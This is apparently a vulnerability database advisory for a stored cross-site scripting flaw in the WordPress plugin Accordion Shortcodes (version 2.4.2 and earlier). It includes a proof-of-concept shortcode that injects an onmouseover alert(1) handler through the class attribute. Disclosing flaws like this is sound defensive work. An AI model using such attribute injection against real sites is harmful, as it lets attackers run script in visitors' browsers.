WordPress Plugin Vulnerabilities

Accordion Shortcodes <= 2.4.2 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Proof of Concept

Exploit shortcode:

[accordion class='" onmouseover="alert(1)" style="background:red;width:100px;height:100px;"']

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
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Verified
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Timeline

Publicly Published
2023-01-03 (about 1 years ago)
Added
2023-01-03 (about 1 years ago)
Last Updated
2023-01-03 (about 1 years ago)

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